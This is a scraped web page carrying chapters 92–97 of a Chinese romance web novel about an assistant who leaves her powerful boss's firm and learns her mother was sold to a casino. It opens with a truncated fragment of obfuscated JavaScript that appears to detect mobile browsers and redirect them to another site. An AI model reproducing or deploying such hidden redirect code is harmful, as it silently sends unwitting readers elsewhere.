l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15744670|172021||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说。 许庭宵果然逃也似地跑了。 只留郭睿和沈韫浓面对贺韶瑭。 郭睿不认识贺韶瑭,但看许庭宵对贺韶瑭的态度,也知道这位一定不简单,不好得罪,但好在,他的小翻译似乎跟这位关系不错,他这么想着,往沈韫浓身后站了站不作声。 沈韫浓礼貌道谢:“多谢贺少。” 这回是真心实意的。 贺韶瑭一双桃花眼在金丝眼镜后闪着狡黠的光:“第二次了。” “什么?” “沈韫浓,我第二次英雄救美了。按照剧情走向,你应该以身相许了。” 沈韫浓:“……贺少,我建议您先把手机里的番茄和红果卸了,那些东西看多了,影响智商的。” 贺韶瑭:“那我让你请我吃顿饭不过分吧?” 上次这顿饭就躲了,这次还真是有点躲不过。 “这几天比较忙,先欠着行吗?”她小心翼翼地跟他商量,只求贺韶瑭忙忘了。 贺韶瑭痛快点头:“行。” 三人一同回去,贺韶瑭坐他们隔壁桌。 晚宴开始后,主办方过来敬酒,许庭宵站在主办人的背后。 他腆着脸陪着笑,好似什么都没发生过一般。 但沈韫浓注意到了他的眼神,他的眼神在说:你跑不掉的。 这时,有服务员穿梭着进来,为各桌上铁板和牛。 那个服务员路过时,许庭宵伸腿,一整块烧红的铁板对着沈韫浓直直地砸过来。 郭睿低呼一声,沈韫浓正要往旁边躲,被贺韶瑭猛地一扯。 她几乎是被他半抱在了怀里。 那块铁板落到了贺韶瑭的脚边,服务员吓白了脸,一切发生的太快,以至于他都不知道自己是被绊了一跤,还是踢到了哪里。 “第三次了,沈韫浓,再不以身相许就说不通了。”贺韶瑭竟然还在笑。 沈韫浓自始至终都知道他不是个善茬,今天这铁板也摔得蹊跷。 她甚至要怀疑说不定这一切都是贺韶瑭做的局,不然怎么会这么巧。 但没有证据,也不好乱说,她又跟贺韶瑭道谢。 可这一切,都被不远处的楼铮看到眼里。 等主办方把酒敬到楼铮那桌时,他静静地打量了许庭宵几眼。 第九十二章 楼铮吃醋 许庭宵知道许春安的事让楼家没面子,赶忙上前一步跟楼铮寒暄。 “楼小爷,许久不见,我敬您。”他一脸的谦卑,笑得让人不舒服。 楼铮淡淡举杯,手一翻,碰洒了许庭宵的酒杯。 他的袖口染了酒渍,一时间全湿了。 “哎哟,是我不好。”许庭宵赶忙拿了纸巾要替楼铮擦拭。 楼铮看他,眉目间已经不悦:“这件西装,是我爷爷去世前找设计师为我定做的,老爷子就留给我这么一个念想。” 许庭宵想争辩说明明是他自己刚才翻了一下手腕,可他不敢。 只好陪着笑脸:“小爷,那您看……一会儿我去给您干洗……” 楼铮神色淡淡,没理他,只对身边人说:“给许少拿几瓶白酒来。” 三瓶高度白酒送上来,在桌上一字排开。 楼铮亲自打开,又让人把细支高脚杯拿走,换了大肚杯。 “把这三瓶喝了,我爷爷在天之灵就原谅你了。” 事情上升到了这个高度,许庭宵骑虎难下。 所有人都看出来了,这位小爷摆明了是在找茬。 可谁也不会触霉头去劝。 主办方也是许家人,是许庭宵的三叔,也只是看了他一眼,要他自求多福。 许庭宵张了张嘴,想求饶:“小爷,我这酒量不行,要不,您看我去给楼老太爷磕个头呢?” 楼铮:“当时你灌我小叔喝酒的时候,可没管他酒量行不行啊。” 原来是为了楼凤栖。 在一旁屏息吃瓜的人,有当时见证过许家兄弟灌楼凤栖喝酒的,也有听说过楼凤栖和许春安桃色新闻的,顿时了然。 虽说这事已经过去了一阵子,但楼铮师出有名,更没人敢劝了。 许庭宵一听楼铮动气是因为这个,只能自认倒霉。 他干脆也不用酒杯了,直接拿起酒瓶,眼睛一闭,“吨吨吨”仰头灌了下去。 第一瓶下肚,酒劲儿还没完全上来,许庭宵面前还算清醒,第二瓶下肚后,他嘴唇已经开始发紫了。 有人怕出人命,小心翼翼地看了一眼楼铮:“小爷,要不……” 楼铮冷冷的一个眼风扫过去,那人后半句话硬生生咽了回去。 这一桌的动静,其他桌自然注意到了。 一个个饭都不吃了,等着看许庭宵笑话。 “你猜,他是不是帮你出气?”贺韶瑭低声问沈韫浓。 沈韫浓不动如山:“不是,是为了凤栖总。” 她也不算乱说,毕竟楼铮又不知道许庭宵在走廊里找她麻烦。 贺韶瑭哂笑一声:“我信了。” 郭睿小声:“他说真的?” 沈韫浓:“当然不是,哪个老板那么好,为了员工得罪人。” 两人交流时用法语,贺韶瑭全程听到,抬了抬眉。 挺有意思的,这个沈韫浓居然还有两把刷子。 那边,许庭宵三瓶白酒已经喝完。 楼铮的人过来扶他:“走吧,许少,我们带您去休息室。” 没人相信楼铮会那么好心带许庭宵去休息,但也没人敢拦。 许庭宵就这么在众目睽睽下被带走,哪怕是他死了,顶多也就许家人闹一闹,借着这事从楼家捞点好处,至于楼铮,恐怕半点不会有事,甚至还会让人更加敬畏。 这就是权势。 沈韫浓盯着门口许庭宵被带出去的方向,微微出神。 楼铮要对付一个人,比捏死一只蚂蚁还简单,毕竟,捏死蚂蚁还需要弯下他尊贵的腰,而对人,动动嘴就行了,自然有人帮他动手。 她四肢发凉,在心里迅速盘算。 她得离开得再稳妥一点快一点,不然真的惹恼他,怎么死的都不知道。 活动结束后,沈韫浓本想找机会跟楼铮打个招呼再走,谁知,一帮许家人围了上去。 她被挤在人群外,心猛地一提,以为许家人会找麻烦。 可那帮人都是看人下菜碟的高手,一个个跟楼铮又是鞠躬又是赔罪,脸都快笑烂了。 她不知道的是,楼铮的眼睛穿过众人,在她身后停留了许久。 活动的主办人许庭宵的三叔第一个跟楼铮陪笑脸。 “小爷,以前的事有误会,是这些小辈们不懂事,我敬您一杯,过去的就过去了,以后还要仰仗您……” 他双手捧着酒杯,小心翼翼看楼铮脸色。 楼铮这才把视线收回,他的神色不辨喜怒,倒是也端起了酒杯。 许三叔生怕他把酒泼到自己脸上,愈加小心翼翼。 一直到他把那杯酒喝了,才微微松了口气。 “我不想在海市再看到这个人。”喝完,楼铮才淡淡开口。 “您放心,明天……哦,不,今天晚上我就把他送出去!”许三叔赶忙说。 楼铮牵了下唇角,什么都没说。 回去的路上,楼铮闭目养神,接到了副手陆枭的电话。 陆枭和潘琳的角色差不多,不同的是,潘琳在明,陆枭在暗。上次往沈英耀的货船里放违禁品就是他的手笔。 “那个郭睿我查过了,是林贞林小姐的朋友,今年准备在海市拓展业务。”陆枭说。 林贞的朋友?是介绍给沈韫浓的做男朋友的么? 想起两人旁若无人用法语交谈的样子,楼铮的醋意灭顶。 楼凤栖、郭睿、贺韶瑭…… 沈韫浓有多招男人喜欢,没人比他更懂。 不能再这样下去了,他昨天已经看到了这个女人的辞职信,再不做点什么,沈韫浓会离他越来越远。 轻不得重不得的,楼铮第一次觉得,这世界上,怎么会有沈韫浓这么棘手的人。 第九十三章 沈助理离职 从晚宴出来后,郭睿送沈韫浓回家,在小区门口转了一万块给她。 沈韫浓吃惊:“怎么还付双倍?” 毕竟今天第一次合作,而且因为她,还引起了许庭宵的“小插曲”,她原本还有点不好意思,想着给他打个折扣的。 郭睿:“当然是因为你做的好,剩下的5000块算小费。” 沈韫浓张张嘴,刚要拒绝,郭睿又说:“以后我基本上就留在海市了,合作的机会有很多,说不定我还要找你学习中文,你就不要客气了,收下就好。” 他一边说,一边伸出右手:“合作愉快。” 沈韫浓一听,也不再坚持,伸手和郭睿相握:“那合作愉快。” 收了钱,跟郭睿告别后,沈韫浓一个人慢慢往住处走。 这一晚过得实在精彩,她一直提着一口气,神经紧绷,到现在才彻底松懈下来。 跟郭睿的对话没什么见不得人的,不然也不至于在车外谈。 以至于沈韫浓根本没注意,附近不远处停了一辆灰色轿车。 车里的人是陆枭,起初他正在给楼铮打电话,看到沈韫浓下车就先挂了。 之后,又拨了回去。 “放心老板,我看那个假洋鬼子挺尊重沈助理的,没动手动脚,前面叽里呱啦说了一堆鸟语我没听懂,但最后两人说了句合作愉快。” 这些年陆枭替楼铮做了不少事,很多楼铮不方便出手的都是他来,他长得凶,又是个道上混的,从来没有人把他和楼铮联系到一起。 因为上次沈英耀的事情,楼铮就把他派来保护沈韫浓。 陆枭从来没见过楼铮为了一个女人如此大费周章,他不理解,只能尊重。 楼铮悬着的心落下,原来是在做兼职啊。 “对了,过几天沈韫浓会找工作,你机灵点。” 一时间,陆枭以为自己听错了,他反应了一下:“啊……您的意思是,不能让其他公司录用沈助理?” 楼铮淡淡地嗯了一声。 陆枭CPU都给干烧了,这,这对吗?! 沈助理要是一直找不到工作,会影响心情吧? 她心情不好就会给老板脸色看吧,老板心情也会不好,老板心情一差,那他和潘琳都没有好果子吃。 不是喜欢人家吗?断人家财路如杀人父母啊……现在人都这么谈恋爱啊?! 那活该自己单身了,他要是喜欢一个姑娘,恨不得把钱塞进姑娘口袋里,哪舍得杀人父母呢。 楼铮似乎知道他在想什么,解释道:“聚变的海市分公司下个月开业,我会让人把她招进来。” 陆枭:“……老板,还是您考虑得周全。” 难怪原来从来没听说过聚变有开分公司的计划,这几天却火烧火燎的提上了日程,霍司岐都来好几趟了。 恋爱怎么可能跟谁谈都一样呢,还得是跟他的恋爱脑老板谈才带劲,陆枭默默地想。 沈韫浓的离职申请比她想象中批得顺利。 原本以为还要再扯几天皮,没想到,第二天上班她还没有去找潘琳,潘琳直接在系统里点了通过。 突然间痛快得沈韫浓都不好意思了。 她去跟潘琳道谢外加道别。 “琳姐,谢谢你这段时间的照顾和指导,咱们后会有期。” 沈韫浓说着都觉得有点不舍,反倒是潘琳嘻嘻哈哈,半点不见伤感。 “以后常联系,别把姐忘了就行。”潘琳大喇喇地说。 以至于沈韫浓都觉得自己是不是有点太矫情了。 流程走了两天,最后一步是楼铮。 沈韫浓提着一颗心,都做好了吵架的准备。可意外的是,楼铮那里过得特别快,也一句话都没有多说。 交接完工作,按理说该去跟楼铮打个招呼,可潘琳说楼铮有事,一早上没来公司。 “晚上一起吃个饭吧,就当我们几个为你送行。” 他们几个,自然指的是楼铮的这几个助理,沈韫浓没有拒绝的道理。 于是,她主动说:“好啊,我请大家,咱们吃海鲜自助怎么样?” 潘琳说:“不用你,我都定好了,晚上6点榆记私房菜,你人过来就好了。” 沈韫浓点头应了。 她抱着纸箱里几件简单的私人物品往外走,起初还没觉得怎么样,不知怎么,一直走出楼氏大楼,竟然涌起几分离别的伤感来。 毕竟是人生第一份工作。 沈韫浓转头望一眼,觉得楼氏的大楼这样高。 楼铮是在躲她吗?慈善晚宴后,他就没怎么理过她了。 过去天天盼着他放手,如今他放得这样干脆,沈韫浓倒似楼梯踩空了一阶,心里莫名“咯噔”一下。 她忽略自己这点又当又立的感受,劝自己说很正常,毕竟楼铮是她第一个男人,等以后她见识过更大的世界就好了。 没有了沈家的压力,又成功从楼氏离职。沈韫浓觉得好久没那么轻松过了,她回到出租屋午饭都没吃,一觉睡到下午4点,然后化了个全妆,选了一件自己衣柜里最好的衣服穿上—— 比来比去,最好的竟然是楼铮赔她的那件牛油果绿色旗袍,其实那件白色的也不错,但毕竟有不美好的回忆在上面,她果断选了绿的。 沈韫浓6点钟准时到,推开包厢门的一瞬,她恨不得有UFO来接她离开地球。 包厢被布置得异常隆重,门口用气球做了小公主的造型,摆了大束的永生花玫瑰,墙上挂了“沈韫浓未来可期”的条幅,不知道的,还以为是哪家大小姐刚考完高考,估分680呢。 好在,这是包厢里,要是换到大堂,那妥妥的一个社死。 更让她头大的是,除了潘琳和另外三个助理外,主位上赫然坐着楼铮。 第九十四章 楼铮要礼物 沈韫浓的心脏狂跳,用指甲掐着手心,好一会儿才逼自己恢复平静。 她先谢了潘琳他们安排的惊喜,然后笑着看楼铮:“没想到楼总也有空过来。”楼铮点点头,替她拉开了身旁的椅子。 别人都入座了,只有楼铮旁边是空的,沈韫浓不得不硬着头皮走过去,坐在了他身边。 楼铮穿了一件黑色真丝衬衫,袖口卷起,露出手臂上淡淡的青筋,看上去休闲又矜贵。 沈韫浓的羊绒大衣早就被服务员收走,此时只穿着那件旗袍,坐在他身边,心里闪过一丝不自在。 “第一次见韫浓这么打扮,也太好看了,你平时真是太浪费自己的脸了。”三助夸她。 “对啊,韫浓穿黑白灰就已经很绝了,没想到还有这么女人味的衣服。”张辰接口。 想起这件旗袍的来历,沈韫浓的耳朵有点热。 她竟然一时间接不上话来。 楼铮也在看她,眼睛跟带了钩子似的。 良久,他才笑着开口:“的确很惊艳。” 一时间,沈韫浓的耳垂都红了。 她想找句漂亮话还回去,怎么也说不出来,只能干巴巴地回了句“谢谢”。 潘琳看她一眼,又看楼铮,心下了然。 “你们快别盯着韫浓了,她都快红温了!”潘琳笑着替沈韫浓解围。 沈韫浓投去感激的一眼。 四助给沈韫浓倒了酒,端起酒杯祝她前程似锦。 潘琳体贴道:“少喝点,我们自己人随意就行。” 沈韫浓没矫情的推拒,她现在急需喝点酒,把胸腔里满溢的情绪压一压。 沈韫浓微笑:“我不怎么会喝,酒量不好,一会儿耍酒疯大家别见怪。” 众人大笑。 “点到为止,我们又不灌你!” 沈韫浓站起身,举杯跟四个助理打了圈。 楼铮这一杯最后敬。 到楼铮时,她的手已经有点端不稳。 “楼总,这几个月,多谢照顾。”她双颊红得像火,楼铮的心跟着燃烧起来。 楼铮伸手用手背碰了一下她的脸。 “沈助理,你喝多了。” 他目光灼灼地看着她,她的脸更烫了。 沈韫浓“嗯”了一声,却还要借机给自己求个情。 “那看在我喝多的份上,楼总能不能原谅我一件事?” 楼铮不被她带进去:“先说是什么事。” 沈韫浓心虚,别开眼:“我不知道你会来,只给四位助理准备了礼物。” 她原本想着今天是同事请她吃饭,就特意去商场给他们各买了一份小礼物,就算回了人情了,谁想到楼铮会来呢。 另外四人又大笑起来。 原本沈韫浓站着,楼铮坐着,此时,楼铮也站起身来。 他低头看沈韫浓,眼神又深又暗,语气里带了点逗她的意思:“道歉就完了?不应该回头补上?” 沈韫浓酒精上头,脑子转得慢。 “补上也行,楼总喜欢什么……” 楼铮想说我喜欢什么你会不知道?除了她,他倒也没什么特别喜欢的。 可那么多双眼睛看着,他勾了勾唇:“回头告诉你,不许赖账。” “好。” 沈韫浓双手捧着酒杯跟楼铮碰了碰,之后一饮而尽。 落座时,她身子歪了一下,楼铮伸手一扶。 他的手指温暖干燥,压在她的手臂上。 平静的心湖好似被丢了一块石子,涟漪一圈圈荡开,沈韫浓晕得更厉害了。 后来,她从包里拿出礼物送给众人。 都不是什么贵重东西,但胜在用心,每个人的都送在了心坎上。 尤其是张辰,他喜欢打乒乓球,沈韫浓选了一只球拍给他,张辰的眼睛顿时亮了。 楼铮不动声色看着,在心里又干了一碟醋,打算下周就给潘琳放年假,潘琳的活儿让张辰干。 晚饭吃得还算愉快,虽然楼铮在,但除了沈韫浓,其他几个人倒是没有那么多拘束。 聚餐结束,几个人餐厅门口分开,潘琳特地拉住了沈韫浓,推给楼铮。 “老板,韫浓喝多了,这样回去不安全。您跟她同路,送送她吧!” 楼铮没说好或者不好,直接把沈韫浓从潘琳手里接了过去。 沈韫浓本想说自己打车回去,又一想,楼铮都同意她离职了,应该也不会再纠缠了,鬼使神差的没有拒绝。 “能走吗?要不要背你?”楼铮低笑着问她。 不等沈韫浓说话,他已经弯腰。 沈韫浓赶忙摇头:“不用,我自己可以。” 到了车上,挡板听话的自动降下,将后排隔成了一个小小的私密空间。 楼铮这才伸手,将她抱到了自己腿上。 沈韫浓挣扎,楼铮的手臂牢牢禁锢着她。 “小白眼狼,只给别人准备告别礼物,不给我?难道不是我照顾你最多?” 他托着她的脸,眼里风起云涌的,不知是醋意还是占有欲。 沈韫浓心虚,声音很小:“我没想到你会来。” 喝多了酒,她呼吸不畅,说话时混杂着鼻音,有点委屈和撒娇的感觉。 楼铮的心软得厉害。 “那既然要走了,礼物现在就要,免得你以后赖账。”他诱哄她。 沈韫浓听不懂,想了想说:“那一会儿路过商场停一下。” 楼铮:“我缺那点东西?” “那你要什么?” “你亲亲我。” “不要。”沈韫浓拒绝。 楼铮的脸越凑越近:“沈助理不要那么小气。” 他的鼻尖跟她抵在一起,两人的呼吸纠缠,空气里都是粘稠的暧昧气息,沈韫浓更加透不过气。 她脑子一团浆糊也要从楼铮腿上爬下去。却被楼铮掐住的腰,动弹不得。 “你不能强迫我。” 面前的人像一块酒心巧克力,甜中带着清冽的酒香。 连反抗的声音都引人犯罪。 “嗯,那我亲完任你打。”楼铮说。 他低头封她的唇。 想了太久,以至于再得到时,一切都像做梦。 楼铮本想浅尝辄止,却怎么也舍不得放开。 这个吻持续了很长时间,分开时两人都气喘吁吁。 沈韫浓软软靠在他怀里,有长达一分钟一动不动。 之后,她推开他,眼睛发红:“楼铮,你欺负我。” 楼铮这才将人从腿上放下来哄。 “来,你打我。”他拿她的手,往自己脸上拍。 沈韫浓猛地抽回,别过头不理她。 这时,车驶入小区,沈韫浓到了。 两人看向彼此,沈韫浓心里百转千回,不是滋味。 她的人生有还算彩色的童年,之后,便是一片黑。 跟楼铮相处的这几个月,像一场彩色的梦,如今梦醒时分,她终于要回到自己的主线任务上去了。 “再见了,楼铮。”沈韫浓说。 楼铮点点头,看着她开门下车,消失在自己的视线里。 这女人刚才那个眼神,该不会觉得自己彻底放手了吧? 他摸出一支烟点燃,满脑子都是她靠在自己怀里气息不稳的模样。 他突然觉得自己这一步走对了。 连日来的压抑情绪得到释放,楼铮想笑。 沈韫浓回去后,妆都没卸就躺下了,酒意上头,她很快睡着,进入了梦境。 梦里楼铮压着她,做车上没完成的事,再醒来,是半夜,她起床找水喝,脸上的热度一直没下去。 第九十五章 玻璃渣里捡糖 沈韫浓离职的事很快传开。 但陈知意那边的兼职她还暂时没有辞,她想着,等找到新工作再跟陈知意提,也算有个缓冲。 因为离职,陈知意看她顺眼了很多,最近不怎么作妖了。 她一边投简历,一边做翻译,日子倒也过得飞快。 只是,新工作找得不太顺利。 不是简历石沉大海,就是进了面试,明明每次都跟面试官聊得很开心,但HR给自己的回复,都是抱歉。 起初沈韫浓还挑挑拣拣,投的都是500强的大公司和外企。后来,她就不挑了,连那种只有几十人的小公司也投。 但无一例外,都没有下文。 沈韫浓深觉挫败,追问理由,得到的答案也是千奇百怪。 说她能力太强,怕埋没人才的,都已经是太客气的。她听到最离谱的理由是:跟老板八字不合。 以至于沈韫浓跟林贞吐槽,感觉自己被资本做局了。 林贞也狐疑:“你还真别说,有没有可能是楼铮搞的鬼?” 一句话提醒了她。 但转头想想楼铮也不可能那么闲,最重要的是,那天吃完饭后,楼铮基本上已经在她的世界里消失了,两人一句话都没有说过。 “这样,你把你被pass的那几家公司名字给我,我问问我哥有没有认识的。”林贞说。 沈韫浓把名单发过去,里面还真有两家林越认识,但什么都没问出来。 “估计就是你刚从楼氏那样的大公司离职,又是楼铮的助理,小公司不敢要。” 林贞分析,又劝她,“反正现在手头也没有那么紧,不如休息一段时间看看,顺便再改改简历。” 沈韫浓听了她的建议,直接把在楼氏就职过这一段去掉了,但依然不见有什么起色。 她跟林贞吐槽:“年初的时候我妈找的大师说我今年犯太岁,没想到还挺准的。” 说起顾曦薇,自从去澳城后,她就联系不上了,手机关机,微信也没有回复过了。 似乎下定决心跟沈英耀同甘共苦,连她这个女儿也不在乎了。 苏磊的人倒是在新葡京附近见过顾曦薇几回。 说她购物,吃糖水,用蹩脚的粤语跟人聊天,看上去似乎并没有受什么影响。 而沈英耀又开始赌博了,每天带着大把的筹码坐在娱乐城里。 沈韫浓要苏磊多拍一些沈英耀出入赌场的照片,发到网上去。 苏磊说:“你可想好了,这么做你也跟着丢脸,毕竟你名义上还是沈家人。” 沈韫浓不以为意:“我最怕的是没钱,最不怕的就是丢脸。” 苏磊也是个行动派,很快,沈英耀在澳城豪赌的消息开始在海市满天飞,人们也开始议论纷纷—— “没钱给尾款,有钱带着老婆去澳城赌博,沈英耀这个人不讲信誉,装了半辈子儒商,现在原形毕露了。” “沈英耀这么干,说不定就是沈氏的资金链断了,狗急跳墙。” 随之而来的是,沈氏员工罢工,上游的炉窑设备工厂成立了一个维权联盟,直接把沈英耀告上了法庭。 这下沈英耀在海市成了人人喊打的过街老鼠,想回都回不来了。 沈韫浓冷眼看着网上对沈氏的一片骂声,只觉得痛快。 意外的是,几天过后,她的银行卡里突然多了10万块钱,随即,手机上也收到一个陌生号发来的消息: “宝宝,妈妈这次应该是回不去了,这是妈妈这几年存的一点钱,都给你了,你照顾好自己。” 这条消息,沈韫浓反复看了很多遍,以至于那些字都变得陌生起来。 她说不来心里是什么感觉,她一直以为顾曦薇是那种有今天没明天的过法,没想到她会偷偷存下十万块,更没想到,会在这样的时候,全部给她。 沈韫浓的胸口跟压着一座山似的闷,眼眶不可自抑地红了。 她宁愿顾曦薇永远自私,永远只顾自己,而不是糊涂自私之余,时不时良心发现,流露出一点母爱来,让她在玻璃渣里捡糖。 因为这条短信,沈韫浓又开始没出息地担心起顾曦薇的安危来,再打回那个号码,也没有人接听,她只能找苏磊,让他在跟着沈英耀的同时,帮她打听顾曦薇的消息。 如今沈氏一团糟,连在庙里的姜疏桐都听到了消息。 “你能带我去一趟沈家吗?”姜疏桐打电话问她。 上一回的榕城之行,姜疏桐把自己的伤口血淋淋撕开给她看。 无非是兄弟二人争一个女人的戏码—— 读书时的沈英耀和沈英东同时爱上了姜疏桐,姜疏桐选择了沈英东。 谁知,在两人结婚前几天,沈英东出了车祸,当时姜疏桐也在车上。 一般人都有自保本能,所以翻车的时候会往副驾驶的方向翻,但沈英东为了保护姜疏桐,自己被压在了下面。 沈英东的车刹车片被人动了手脚,姜疏桐一直怀疑是沈英耀动的手,但他藏得太好,姜疏桐找不到证据。 她这些年留在国内,就是为了有一天还沈英东一个公道。 当晚,沈韫浓又回了沈家老宅。 整个老宅人去楼空,她从后面的角门把姜疏桐接了进去。 她干扰监控的设备和指纹片再次派上用场,两人在书房和沈英耀的卧室好一通找。 翻到一个东西时,姜疏桐不可抑制地哭出声来。 沈韫浓走过去,看到了她手里的一份文件。 那是沈英耀亲自签字授权的海葬协议。 也就是说,沈英东的骨灰早在多年前就被他撒到了海里。 姜疏桐的哭声几欲失控,“英东是旱鸭子,最怕水,连船都不敢坐,谁知,到头来也没有入土为安,被他撒到了海里……” “难怪不告诉我英东葬在了哪里,也从不肯让我去祭拜英东……” 沈韫浓不知该说什么才好,只能沉默地拿了纸巾替她擦眼泪。 许久后,劝她:“姜阿姨,现在沈家算是垮了,沈英耀没几天好日子了。要不,您也跟家人出国去吧,您年纪大了,跟家人在一起也有个照应。” 姜疏桐许久才收住眼泪,她摇头。 “不,我要亲眼看着沈英耀死。” 她伸手握住沈韫浓的手:“孩子,说不定,你在最后时刻正好用得上我。” 姜疏桐的眼神悲壮又坚定,带着赴死的决心,沈韫浓心里有些不安。 “姜阿姨,您不要冲动,沈英耀那种畜生,不值得你拿命去换……” 这一晚,姜疏桐带走了几件跟沈英东有关的东西。 沈韫浓心情沉重,太多事压在心里难以消化。 她早上才回出租屋,一推门,被眼前的场景吓了一跳。 第九十六章 金牌荷官回归 田欣站在客厅的穿衣镜前,身上穿着沈韫浓那件牛油果色旗袍,正在摆出魅惑姿势。 旗袍是她昨天洗了挂在阳台,没来得及收的。 田欣比沈韫浓胖了有十来斤,这旗袍是楼铮给沈韫浓定做的,这会儿已经被撑到变形,她被包裹其中,并没有什么美感,反而像只蠕动的大肉虫子。 听到开门声,她转过头来,猝不及防和沈韫浓四目相对。 沈韫浓的尴尬不亚于她,好像撞见了熟人最不堪的一面,好一会儿没有反应过来。 不知是因为这件旗袍对她来说太特殊,还是因为单纯不能接受这个行为,沈韫浓气血上涌,语气不自觉有点冲。 “这是我的衣服,你干什么?!问过我了吗你就穿!” 田欣应该是没料到她会这个时间回来,一时间,眼里的自我陶醉变成了惊慌,脸爆红得像要滴出血来,愣在原地不知所措。 “脱下来!”沈韫浓沉着脸,“你父母老师没教过你,不问自取视为贼吗?” 她这一嗓子,田欣也回过神来了。 “说那么难听干嘛?!我就是随便试试,又没把它怎么样,你干嘛这么小气啊!”她说着,伸手解开扣子,粗暴地脱了下来,直接丢给沈韫浓,“还你就是了,好像跟谁稀罕似的!” 田欣穿着内衣裤回了自己房间,沈韫浓站在客厅,心里一百头羊驼飞奔而过。 这居然成了她小气? 沈韫浓索性也不在屋子里呆着了,她反锁了房门,出去找了家早点铺子吃饭,顺便透口气。 一边吃,一边给林贞发微信吐槽了这件事。 “平时挺好的一个小姑娘,没想到这么离谱。” 她自问也不是个太难相处的人,田欣如果喜欢她的衣服完全可以找她要链接,或者跟她说一下,她也可以给她试,学校里,跟室友互相借衣服的事情也确实不少。 可这种背后偷偷摸摸穿她衣服的行为实在是让人心理不适。 林贞也大跌眼镜,情绪比她更激动,先是发了一串感叹号过来,接着便是60秒长语音。 “卧槽,她变态吧?指不定私底下穿过多少次你衣服了,你不知道而已。说不定还偷偷进过你房间呢!” 这么说,还真有可能,她之前想着屋子里没什么人,房门也只是随意合上,不会反锁,但前几天她换衣服的时候,发现一条半身裙裤腰处有开线的痕迹,她还怀疑自己是不是胖了。 林贞又说:“回去检查一下你的贵重物品,不然说不定也要被她偷了。” 沈韫浓仅有的贵重物品,大概就是楼铮送的那条粉钻手链和陈知意赔罪的那块表。 这两样东西,当时怕被沈家人发现,被她用卫生纸包了塞在床头一个毛绒玩具里,后来就一直没动过。 一般人还想不到要翻个玩偶。 但以防万一,沈韫浓回去后还是检查了一下,万幸,东西还在。 但她回去时,田欣已经不在了。 接下来的几天,对于这件事,田欣一句解释都没有。 沈韫浓恰好不上班,干脆自己把衣柜里所有的衣服都洗了一遍。 谁知道田欣穿过哪几件,又穿着它们做了什么事呢,沈韫浓想起来就觉得浑身发痒。 田欣出来进去,看见阳台上挂着的衣服,好像失忆了一样,连一句道歉的话都没说。 过去,沈韫浓只觉得这个小姑娘除了八卦一点,人还是不错的,可通过这件事,简直刷新了三观。 两人之前见面还会聊两句,现在已经彻底不说话了。 沈韫浓后悔一口气交了三个月的房租,现在还剩一个半月,她已经提前在网上找房子,只求快点搬走。 又过了几天,沈韫浓正在网上看招聘信息,接到了一个IP未知的陌生号码电话。 “你猜我是谁?”手机中一个故意压低的造作男声传来。 沈韫浓顿时无语:“贺少,有事吗?” 贺韶瑭低笑道:“这么快就猜出来了,看来你比想象中更关注我,我很欣慰。” 沈韫浓不想跟他扯皮:“……贺少,请问您有什么事吗?没事的话我就挂了。” 她可不觉得两人已经熟悉到了可以插科打诨的地步。 贺韶瑭“啧”了一声,说:“我怎么记得某人欠我一顿饭呢?” ……居然忘了这茬了。 沈韫浓尴尬:“贺少,我刚失业,最近忙着找工作,您看,等我忙完这阵呢?” 她实在不想跟贺韶瑭独处,一想到跟他吃饭,就已经先消化不良了。 贺韶瑭那边意味不明的笑了一下,偏要点破:“为了不跟我吃饭,你不忙怕是也要装忙。” 猜的太准了。 见沈韫浓不说话,贺韶瑭嗤笑一声,又说:“饭的话不着急,可以回澳城再请,你是不是把我微信屏蔽了?我给你发那么重要的消息都没回。” 沈韫浓的确把贺韶瑭拉到消息免打扰了。 她一边通话,一边把手机调到微信界面,点开了他的头像,这才看到他给自己发了一堆消息,最新的一条是几个小时前发的。 是一张照片—— 澳洲最大的娱乐城门口的巨幅海报,上面是顾曦薇那张精致到不输女明星的脸。 顾曦薇穿着兔女郎的衣服,硬挤出一个模式化笑容来。 海报标题是:【下月1号,金牌荷官雪梨重磅回归】 沈韫浓脑子“轰隆”一声,她开始耳鸣,根本听不到贺韶瑭后来又说了什么。 她用指甲掐着手心,强迫自己冷静下来,多次深呼吸,才问:“她为什么又去做这个?” 贺韶瑭:“不清楚,是我手下人发来的,但最大的可能是被沈英耀输给了赌场。” 沈韫浓的心像是被千斤巨石压住,喘不过气来。 过了好久,她才说:“我知道了贺少,多谢。” 贺韶瑭沉默了片刻,问她:“我的私人飞机明天晚上回澳城,一起吗?” 沈韫浓摇头,又想到他看不见,才说:“不用了,贺少,我自己去。” 她刚摆脱了楼铮,绝对不能转头再惹上贺韶瑭,这个时候最重要的还是保持理智。 贺韶瑭那边也没再坚持。 “好,那就澳城见了。”他说。 挂了电话,沈韫浓沉默地坐了大半夜。 她逼自己不要头脑发热,陷入圈套。 贺韶瑭可不是什么大善人,不会无缘无故这么好心地提醒自己。 说不定,他就是想把她骗去澳城呢。 沈韫浓先找苏磊核实了这件事的真实性。 苏磊那边接的很快。 “是真的,我查了半天,正要联系你。” 苏磊说,他的人去调查过了,沈英耀在娱乐城输了500万,把顾曦薇卖给了娱乐城老板抵债。 悬着的心终是死了。 沈韫浓觉得,这件事哪怕是圈套,她也该去一趟了。 只是,沈英耀把顾曦薇卖了500万,她想赎人,就不会低于这个价,她去哪里弄这么多钱呢。 第九十七章 只身救母 沈韫浓看了看自己的银行卡,工作半年,加上各种杂七杂八的兼职收入,还有顾曦薇之前打给她的十万块,她卡里的余额总共不到二十万,跟五百万比起来,杯水车薪。 想来想去,还是要卖东西。 陈知意那块表网上可以查到报价,她这个没用过的,十成新,估计不会折价太多,能值个二十几万,楼铮那条手链的话她看不出来,但应该不会比表便宜。 先把身外之物卖了凑一凑,差多少再想办法,早知道苏磊给的那300万不提前还房贷了。 而且那房子还没交付,想卖房都卖不了…… 晚上,沈韫浓把那条手链拿出来在灯下细看,真好看啊,可惜她一天都没戴过。 她忽然想起一句话—— 不是自己的东西,哪怕暂时拥有过,也迟早会离开。 东西是这样,人也是。 她把手链塞在枕头下,睡了一夜,第二天一早一同带去了二奢店,上次卖礼服的那家。 她又是最早的客人。 那位店员已经认出了她,毕竟让楼小爷这么上心的是第一次见,她悄悄给周彦发了微信。 周彦今天凌晨才跟着楼铮从公海回来,这会儿正补觉,完美错过了店员的消息。 店里就这一个店员,跟了周彦许多年,也是个识货的,很多东西都是自己做主。 